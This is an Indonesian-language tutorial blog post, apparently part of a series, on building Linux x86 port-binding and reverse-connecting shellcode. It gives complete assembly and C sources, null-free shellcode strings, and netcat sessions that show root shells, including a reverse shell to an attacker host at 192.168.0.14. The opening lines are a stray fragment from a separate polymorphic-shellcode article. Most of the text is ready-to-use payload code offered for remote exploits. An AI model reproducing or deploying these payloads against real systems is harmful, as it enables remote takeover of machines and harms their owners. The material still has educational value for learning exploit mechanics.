Address Before Decoding After Decoding
shellcode+20 sub ebx,edx xor eax,eax
shellcode+22 stos BYTE PTR es:[edi],al mov al,0×46
shellcode+28 xlat BYTE PTR ds:[ebx] int 0×80
shellcode+46 dec ecx push ebx

Oke, sampai disini dulu pembahasan mengenai semi-polymorphic shellcode, sampai jumpa lagi pada artikel berikutnya mengenai true-polymorphic shellcode.

Diposting oleh heart break

Bila anda sudah membaca artikel sebelumnya belajar membuat shellcode part 1 anda tentu sudah mengerti tentang system call untuk mengeksekusi shell (execve), jadi tidak perlu saya jelaskan lagi di sini.
System call dup2 sangat sederhana, register yang harus diisi adalah EBX diisi dengan client socket handler, ECX diisi file handler untuk stdin,stdout dan stderr, dan terakhir adalah EAX yang harus diisi dengan nomor system call, 63.
Pada system call keluarga socket programming, socket(), bind(), listen(), accept() semua argumen disimpan dalam bentuk blok memori secara berurutan dengan alamatnya disimpan pada register ECX. Sebagai contoh, untuk socket(2,1,0), register ECX harus berisi alamat blok memori yang berisi byte berikut: 0×02 0×01 0×00.
Mengambil Opcode untuk Shellcode
Langkah berikutnya adalah kita harus compile dan link source assembly tersebut. Setelah itu baru kita disassemble dengan objdump agar bisa diekstrak opcodenya.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
$ nasm -f elf portbind.asm
$ ld -o portbind_asm portbind.o
$ objdump -d ./portbind_asm
 
./portbind_asm:     file format elf32-i386
 
Disassembly of section .text:
 
08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       31 db                   xor    %ebx,%ebx
 8048064:       31 d2                   xor    %edx,%edx
 8048066:       50                      push   %eax
 8048067:       6a 01                   push   $0x1
 8048069:       6a 02                   push   $0x2
 804806b:       89 e1                   mov    %esp,%ecx
 804806d:       fe c3                   inc    %bl
 804806f:       b0 66                   mov    $0x66,%al
 8048071:       cd 80                   int    $0x80
 8048073:       89 c6                   mov    %eax,%esi
 8048075:       52                      push   %edx
 8048076:       66 68 09 5c             pushw  $0x5c09
 804807a:       81 c2 02 00 00 00       add    $0x2,%edx
 8048080:       66 52                   push   %dx
 8048082:       89 e1                   mov    %esp,%ecx
 8048084:       6a 10                   push   $0x10
 8048086:       51                      push   %ecx
 8048087:       56                      push   %esi
 8048088:       89 e1                   mov    %esp,%ecx
 804808a:       fe c3                   inc    %bl
 804808c:       b0 66                   mov    $0x66,%al
 804808e:       cd 80                   int    $0x80
 8048090:       31 d2                   xor    %edx,%edx
 8048092:       52                      push   %edx
 8048093:       56                      push   %esi
 8048094:       89 e1                   mov    %esp,%ecx
 8048096:       b3 04                   mov    $0x4,%bl
 8048098:       b0 66                   mov    $0x66,%al
 804809a:       cd 80                   int    $0x80
 804809c:       52                      push   %edx
 804809d:       52                      push   %edx
 804809e:       56                      push   %esi
 804809f:       89 e1                   mov    %esp,%ecx
 80480a1:       fe c3                   inc    %bl
 80480a3:       b0 66                   mov    $0x66,%al
 80480a5:       cd 80                   int    $0x80
 80480a7:       89 c3                   mov    %eax,%ebx
 80480a9:       31 c9                   xor    %ecx,%ecx
 80480ab:       b0 3f                   mov    $0x3f,%al
 80480ad:       cd 80                   int    $0x80
 80480af:       41                      inc    %ecx
 80480b0:       b0 3f                   mov    $0x3f,%al
 80480b2:       cd 80                   int    $0x80
 80480b4:       41                      inc    %ecx
 80480b5:       b0 3f                   mov    $0x3f,%al
 80480b7:       cd 80                   int    $0x80
 80480b9:       52                      push   %edx
 80480ba:       68 2f 2f 73 68          push   $0x68732f2f
 80480bf:       68 2f 62 69 6e          push   $0x6e69622f
 80480c4:       89 e3                   mov    %esp,%ebx
 80480c6:       52                      push   %edx
 80480c7:       53                      push   %ebx
 80480c8:       89 e1                   mov    %esp,%ecx
 80480ca:       b0 0b                   mov    $0xb,%al
 80480cc:       cd 80                   int    $0x80
Byte Terlarang di Shellcode
Dari hasil objdump di atas terlihat ada byte yang terlarang, yaitu 0×00 yang merupakan bagian dari opcode instruksi: “add edx,2″. Kenapa byte 0×0 tidak boleh ada? Sebab ketika kita menginjeksi string, maka byte 0×0 akan dianggap sebagai akhir sebuah string, akibatnya shellcode kita tidak akan terinjeksi dengan lengkap dan terpotong pada byte 0×0 tersebut.
Agar byte 0×0 tidak ada, maka kita harus mengganti “add edx,2″ dengan instruksi lain yang ekivalen, artinya instruksi pengganti tersebut harus berakibat pada bertambahnya nilai edx dengan 2. Saya akan mengganti instruksi “add edx,2″ dengan instruksi “inc edx” sebanyak 2 kali. Mari kita lihat perbedaan antara opcode “add edx,2″ dengan “inc edx”.
 804807a:       81 c2 02 00 00 00       add    edx, 2
 804807a:       42                      inc    edx
 804807b:       42                      inc    edx
Perhatikan kedua opcode di atas. Ada dua keuntungan yang kita dapatkan dengan mengganti instruksi add. Pertama adalah tidak ada lagi byte 0×0. Kedua adalah ukurannya lebih hemat, instruksi “inc edx” hanya berukuran 1 byte, jadi total berukuran 2 byte. Sedangkan instruksi “add edx, 2″ berukuran 6 byte, kita hemat 4 byte untuk mendapat efek yang sama.
Oke setelah kita menyingkirkan byte terlarang, kita harus mengekstrak opcodenya untuk menjadi shellcode. Kita akan pakai lagi cara yang saya pakai di artikel part 1 untuk dengan cepat meng-ekstrak opcode dari output objdump.
$ objdump -d portbind_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Setelah kita dapatkan shellcode, mari kita coba lagi pakai perl dan ndisasm, kalau hasil disassemblernya sama dengan source assembly awal, berarti shellcode tersebut sudah benar.
$ perl -e 'print "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'|ndisasm -u -
00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  31D2              xor edx,edx
00000006  50                push eax
00000007  6A01              push byte +0x1
00000009  6A02              push byte +0x2
0000000B  89E1              mov ecx,esp
0000000D  FEC3              inc bl
0000000F  B066              mov al,0x66
00000011  CD80              int 0x80
00000013  89C6              mov esi,eax
00000015  52                push edx
00000016  6668095C          push word 0x5c09
0000001A  42                inc edx
0000001B  42                inc edx
0000001C  6652              push dx
0000001E  89E1              mov ecx,esp
00000020  6A10              push byte +0x10
00000022  51                push ecx
00000023  56                push esi
00000024  89E1              mov ecx,esp
00000026  FEC3              inc bl
00000028  B066              mov al,0x66
0000002A  CD80              int 0x80
0000002C  31D2              xor edx,edx
0000002E  52                push edx
0000002F  56                push esi
00000030  89E1              mov ecx,esp
00000032  B304              mov bl,0x4
00000034  B066              mov al,0x66
00000036  CD80              int 0x80
00000038  52                push edx
00000039  52                push edx
0000003A  56                push esi
0000003B  89E1              mov ecx,esp
0000003D  FEC3              inc bl
0000003F  B066              mov al,0x66
00000041  CD80              int 0x80
00000043  89C3              mov ebx,eax
00000045  31C9              xor ecx,ecx
00000047  B03F              mov al,0x3f
00000049  CD80              int 0x80
0000004B  41                inc ecx
0000004C  B03F              mov al,0x3f
0000004E  CD80              int 0x80
00000050  41                inc ecx
00000051  B03F              mov al,0x3f
00000053  CD80              int 0x80
00000055  52                push edx
00000056  682F2F7368        push dword 0x68732f2f
0000005B  682F62696E        push dword 0x6e69622f
00000060  89E3              mov ebx,esp
00000062  52                push edx
00000063  53                push ebx
00000064  89E1              mov ecx,esp
00000066  B00B              mov al,0xb
00000068  CD80              int 0x80
Oke selamat, shellcodenya sudah benar. Setelah itu biar lebih afdol, kita harus menguji dengan program C berikut.
Jangan lupa untuk mematikan exec shield dengan cara “echo 0 > /proc/sys/kernel/exec-shield” sebelum program C di bawah ini bisa dieksekusi. Bila tidak anda akan mendapatkan segmentation fault error.
1
2
3
4
char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void) {
        asm("jmp shellcode");
}
$ gcc portbindshellcode.c -o portbindshellcode
$ sudo ./portbindshellcode
Setelah dijalankan sebagai root, di console lain saya coba koneksi dengan netcat ke port 2396.
$ nc localhost 2396
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
exit
Berhasil! Selamat, port binding shellcode kini sudah siap dipakai untuk remote exploit.
Membuat Reverse Connecting Shellcode
Baiklah kini kita menginjak pada pembuatan shellode bertipe reverse connecting. Dalam shellcode jenis ini, shellcode bertindak sebagai client dan attacker menyiapkan sebuah server yang siap dihubungi di IP dan port tertentu. Sebagai simulasi kita asumsikan IP dan port attacker adalah 192.168.0.14:27155 dan IP komputer target adalah 192.168.0.10.
Karena socket programming di sisi client lebih sederhana dan mirip dengan port binding, saya langsung saja membuat shellcode ini dalam bahasa C.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <sys/socket.h>
#include <netinet/in.h>
 
int main(void) {
        char *shell[2];
        int soc;
        int remote;
        struct sockaddr_in serv_addr;
 
        serv_addr.sin_family=2; // internet address
        serv_addr.sin_addr.s_addr = 0x0E00A8C0; // 192.168.0.14
        serv_addr.sin_port=0x136A; // port 27155
        soc = socket(2,1,0);
        remote = connect(soc,(struct sockaddr*)&serv_addr,16);
        dup2(soc,0);
        dup2(soc,1);
        dup2(soc,2);
        shell[0] = "/bin/sh";
        shell[1] = NULL;
        execve(shell[0],shell,0);
}
Sebelum kita compile dan eksekusi, kita siapkan dulu di komputer attacker server yang listen di port 27155 dan port 192.168.0.14. Sistem operasi komputer attacker adalah windows dan attacker memakai netcat for windows untuk membuat server sederhana seperti di bawah ini.
C:\>nc -lvn -p 27155
listening on [any] 27155 ...
Oke setelah server attacker sudah listen di 192.168.0.14:27155. Kini kita compile dan eksekusi program reverse sebagai root untuk mensimulasikan exploit yang mendapatkan root shell.
$ gcc reverse.c -o reverse
$ sudo ./reverse
Sekarang perhatikan apa yang terjadi pada komputer attacker setelah program reverse tersebut dijalankan.
C:\>nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 58855
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
pwd
/home/admin
exit
Ada koneksi masuk dari ip komputer target (192.168.0.10). Setelah koneksi terbentuk, attacker bisa mulai mengirimkan command untuk dieksekusi di komputer target.
Reverse Connecting dalam Assembly
Tidak ada hal baru dalam shellcode ini dibandingkan dengan shellcode port binding sebelumnya, jadi tidak ada yang perlu dijelaskan lebih jauh lagi. Langsung saja kita membuat program yang sama dalam bahasa assembly.
BITS 32
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor edx,edx
 
;soc=socket(2,1,0)
push eax ; push 0
push byte 0x1 ; push 1
push byte 0x2 ; push 2
mov ecx,esp ; ECX = address of [2,1,0]
inc bl ; EBX=1 means socket() call
mov al,102
int 0x80
 
; ESI = soc socket handler
mov esi,eax 
 
;remote = connect(soc,(struct sockaddr*)&serv_addr,16);
push edx ; push 0
push long 0x0E00A8C0 ; push sin_addr.s_addr value
push word 0x136A ; push sin_port value
xor ecx,ecx ; ecx = 0
mov cl,2 ; cx = 2
push word cx ; push sin_family value
mov ecx,esp ; ECX = address of struct sockaddr
push byte 16 ; push 16
push ecx ; push address of struct sockaddr
push esi ; push soc handler
mov ecx,esp ; ECX = address of [soc,&serv_addr,16]
mov bl,3 ; EBX=3 means connect()
mov al,102
int 0x80
 
; EBX = remote socket handler
mov ebx,esi
 
;dup2(soc,0)
xor ecx,ecx ; ECX = 0 = stdin file handler
mov al,63
int 0x80
 
;dup2(soc,1)
inc ecx ; ECX = 1 = stdout file handler
mov al,63
int 0x80
 
;dup(soc,2)
inc ecx ; ECX = 2 = stderr file handler
mov al,63
int 0x80
 
;execve "/bin//sh"
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80
Tidak ada yang perlu saya jelaskan karena sama dengan shellcode port binding dan saya juga sudah memberi komentar untuk memperjelas di source di atas. Kita langsung saja compile dan link program assembly tersebut.
$ nasm -f elf reverse.asm
$ ld -o reverse reverse.o
Sekarang kita harus mendisassemble program tersebut dan mengambil opcodenya untuk dirangkai menjadi shellcode dengan cara yang seperti port binding shellcode sebelumnya.
$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xc0\xa8\x00\x0e\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Menghilangkan Byte Terlarang
Oke kini kita telah dapatkan shellcodenya. Tapi kita periksa dulu apakah ada byte terlarang di dalamnya? Ternyata ada byte 0×00 dalam shellcode tersebut yang berasal dari instruksi “push long 0x0E00A8C0″. Byte 0×00 tidak terhindarkan karena IP attacker mengandung 0, yaitu 192.168.0.14. Oleh karena itu kita harus menyiasatinya agar tidak muncul byte 0×00.
Saya akan mengganti instruksi tersebut menjadi dua push, yaitu push 0x0E00 dan push 0xA8C0. Push nilai 0x0E00 tidak bisa dilakukan secara langsung karena itu akan menghasilkan opcode yang mengandung 0×00. Oleh karena itu saya harus membuat nilai 0x0E00 tanpa melibatkan angka 00 dengan cara:
; DX = 0
mov dl,0x0E ; DX = 0x000E
shl dx,8 ; 000E digeser ke kiri 8 kali menjadi 0E00
Dengan mengganti menjadi instruksi mov dan shl kita terhindar dari byte terlarang 0×00. Berikut adalah opcode dari instruksi pengganti “push long 0x0E00A8C0″. Pada opcode tersebut terlihat lebih banyak space yang dibutuhkan, tetapi di sana tidak mengandung byte terlarang 0×00.
b2 0e                   mov    dl,0x0E
66 c1 e2 08             shl    dx,8
66 52                   push   dx
66 68 c0 a8             push word  0xA8C0
Setelah mengganti “push long 0x0E00A8C0″ dengan 4 baris instruksi di atas, shellcode yang baru adalah seperti di bawah ini:
$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Kini kita siap mengujinya dengan membuat program dalam bahasa C berikut ini:
char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
 
int main(void) {
        asm("jmp shellcode");
}
Mari kita compile dan jalankan program dalam bahasa C di atas. Tapi jangan lupa sebelumnya di komputer attacker harus dijalankan server yang listen di 192.168.0.14:27155.
$ gcc reverseshellcode.c -o reverseshellcode
$ sudo ./reverseshellcode
Mari kita lihat apa yang terjadi pada console attacker setelah shellcode dieksekusi.
C:\>nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 59039
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
pwd
/home/admin
exit
 
Berhasil! Kini kita telah berhasil membuat shellcode yang bisa dipakai untuk remote shellcode. Selamat anda telah berhasil membuat 2 macam shellcode yang bisa dipakai untuk remote exploit, yaitu port binding dan reverse connecting. Dalam artikel berikutnya saya akan membahas mengenai stack based buffer overflow exploit, di sana kita bisa memakai shellcode yang kita buat di artikel ini.